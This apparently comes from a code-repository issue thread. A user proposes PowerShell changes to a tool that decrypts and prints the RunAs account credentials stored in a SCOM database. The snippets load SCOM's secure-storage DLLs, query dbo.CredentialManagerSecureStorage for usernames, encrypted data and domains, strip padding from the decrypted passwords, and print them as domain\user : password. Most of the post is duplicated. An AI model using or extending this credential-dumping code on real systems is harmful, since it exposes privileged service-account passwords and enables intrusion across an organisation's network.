Not very knowledgeable with Git, so I figured I'd post some suggestions for improvements.
Do a test-file on the dlls to allow for 2012 and 2016 cross compatability (Tested OK with 2016)
# Check if SCOM 2016 is installed if(Test-Path "C:\Program Files\Microsoft System Center 2016") { [System.Reflection.Assembly]::LoadFile("C:\Program Files\Microsoft System Center 2016\Operations Manager\Server\Microsoft.Mom.Sdk.SecureStorageManager.dll") | Out-Null [System.Reflection.Assembly]::LoadFile("C:\Program Files\Microsoft System Center 2016\Operations Manager\Server\Microsoft.EnterpriseManagement.DataAccessLayer.dll") | Out-Null } elseif(Test-Path "C:\Program Files\Microsoft System Center 2012 R2") { [System.Reflection.Assembly]::LoadFile("C:\Program Files\Microsoft System Center 2012 R2\Operations Manager\Server\Microsoft.Mom.Sdk.SecureStorageManager.dll") | Out-Null [System.Reflection.Assembly]::LoadFile("C:\Program Files\Microsoft System Center 2012 R2\Operations Manager\Server\Microsoft.EnterpriseManagement.DataAccessLayer.dll") | Out-Null } else { Write-Host "[!] Unable to find installation directory of SCOM 2012 R2 or 2016" return }
Change the SQL command to include Domain for multi domain environments:
$sqlCommand = "SELECT UserName, Data, Domain FROM dbo.CredentialManagerSecureStorage;"
Add a block after $passw decryption to clean up password output:
# Cleans up the spaces in the password $truePass = "" for($j = 0; $j -lt $passw.Length; $j++) { if($j % 2 -eq 0) { $truePass += $passw[$j] } }
Then, finally: Change the printing of the username password.
Not very knowledgeable with Git, so I figured I'd post some suggestions for improvements.
Do a test-file on the dlls to allow for 2012 and 2016 cross compatability (Tested OK with 2016)
# Check if SCOM 2016 is installed if(Test-Path "C:\Program Files\Microsoft System Center 2016") { [System.Reflection.Assembly]::LoadFile("C:\Program Files\Microsoft System Center 2016\Operations Manager\Server\Microsoft.Mom.Sdk.SecureStorageManager.dll") | Out-Null [System.Reflection.Assembly]::LoadFile("C:\Program Files\Microsoft System Center 2016\Operations Manager\Server\Microsoft.EnterpriseManagement.DataAccessLayer.dll") | Out-Null } elseif(Test-Path "C:\Program Files\Microsoft System Center 2012 R2") { [System.Reflection.Assembly]::LoadFile("C:\Program Files\Microsoft System Center 2012 R2\Operations Manager\Server\Microsoft.Mom.Sdk.SecureStorageManager.dll") | Out-Null [System.Reflection.Assembly]::LoadFile("C:\Program Files\Microsoft System Center 2012 R2\Operations Manager\Server\Microsoft.EnterpriseManagement.DataAccessLayer.dll") | Out-Null } else { Write-Host "[!] Unable to find installation directory of SCOM 2012 R2 or 2016" return }
Change the SQL command to include Domain for multi domain environments:
$sqlCommand = "SELECT UserName, Data, Domain FROM dbo.CredentialManagerSecureStorage;"
Add a block after $passw decryption to clean up password output:
# Cleans up the spaces in the password $truePass = "" for($j = 0; $j -lt $passw.Length; $j++) { if($j % 2 -eq 0) { $truePass += $passw[$j] } }
Then, finally: Change the printing of the username password.
if($domain -notlike "") { Write-Host "[+] $domain\$user : $truePass" } else { Write-Host "[+] $user : $truePass" }